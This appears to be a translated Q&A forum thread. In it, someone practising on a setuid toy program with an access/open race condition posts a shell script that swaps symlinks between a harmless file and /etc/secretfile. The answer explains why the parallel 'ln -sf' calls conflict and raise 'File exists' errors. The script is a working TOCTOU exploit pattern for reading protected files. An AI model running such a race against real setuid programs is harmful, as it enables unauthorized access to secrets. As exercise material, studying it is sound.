这只是一个练习。我不想利用某些东西......
我有一个可以利用的setuid玩具程序(反编译版本):
int main(int argc, const char **argv)
{
int v3, v4, v5;
int result;
int v7;
int v8;
int v9;
int v10;
memset(&v9, 0, 0x14u);
if ( !access("/tmp/exploitme", 4) )
{
v3 = geteuid();
v4 = geteuid();
v5 = geteuid();
setresuid(v5, v4, v3, argv);
v8 = open("/tmp/exploitme", 0);
if ( v8 < 0 )
exit(-1);
read(v8, &v9, 0x13u);
write(1, &v9, 0x13u);
}
result = 0;
return result;
}
access
和open
之间存在竞争条件。
所以这是脚本,我使用经典技巧:改变nice值以减少调度优先级。
#!/bin/sh
touch /tmp/myfile
while true; do
ln -sf /tmp/myfile /tmp/exploitme &
nice -15 /workspace/toy &
ln -sf /etc/secretfile /tmp/exploitme &
done
但是我从脚本中得到了这些错误:
ln: failed to create symbolic link '/tmp/expolitme': File exists
ln: cannot remove '/tmp/expolit': No such file or directory
我已经使用ln
的-f选项来强制创建符号链接。为什么我有这些错误?
答案 0 :(得分:1)
问题在于您调用ln
的方式 - 同时调用多个实例。 ln
“强制”符号链接的方式是取消链接(删除)目标并再次重新创建它。但是,您同时调用多个ln
个实例,导致与ln
的其他调用的竞争条件。因为一个或多个实例取消了tmp/exploitme
的链接,但是其他一些实例已经创建了新的/tmp/exploitme
;所以“文件存在”。如果您不在后台生成多个ln
实例,则不会发现此问题。
让我举两个例子:A和B
Instance A Instance B
Calls ln Calls ln
Deletes /tmp/expolitme if exists Deletes /tmp/expolitme if exists
Creates /tmp/expolitme
Creates /tmp/expolitme
(File exists - because A created it already)